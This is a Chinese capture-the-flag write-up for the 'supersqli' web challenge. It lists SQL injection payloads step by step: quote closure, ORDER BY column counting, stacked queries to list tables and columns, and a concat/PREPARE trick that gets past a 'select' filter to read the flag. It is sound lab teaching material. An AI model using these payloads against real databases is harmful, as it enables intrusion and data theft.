攻防世界 web进阶区 supersqli

攻防世界 web进阶区 supersqli

根据题目以及提示内容,猜测该题是SQL注入的。打开链接,确实有一个输入框。
在这里插入图片描述
直接进行输入库的常用闭合符号试试,没想到直接用“'”这个符号成功了,直接给出了报错信息。
在这里插入图片描述

然后就是将后面的内容注释看看是否可行,经过测试 --+无法正确闭合,但是#可以正常地输出内容,由此可知,注释符号为#

1'#

在这里插入图片描述
下一步测试order by爆出当前表有几个字段

1' order by 2 #

在这里插入图片描述
当后面的值为3时,给出了报错信息,由此可知,当前表有两个字段。

1' order by 3 #

在这里插入图片描述
然后使用联合查询看看,直接给出了提示信息,直接将我们的关键字给过滤了。只能尝试其他注入方式了

1' union select 1,2 #

在这里插入图片描述
经过多次尝试之后,确定是使用堆叠注入。

1'; show database #

在这里插入图片描述
查询当前所在数据库有哪些表

1'; show tables #

在这里插入图片描述
查询表的字段,在当前数据库1919810931114514这个表中发现flag字段。

1' ;show columns from `1919810931114514`#

在这里插入图片描述
查询该flag字段的内容得到flag

因为select被过滤了,我们可以使用concat()方法将select拆分开再拼接起来就可以了

1';set @sql=concat('sel','ect flag from `1919810931114514`');PREPARE st1 FROM @sql;EXECUTE st1#

在这里插入图片描述
最后得到flag为:flag{c168d583ed0d4d7196967b28cbd0b5e9}

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值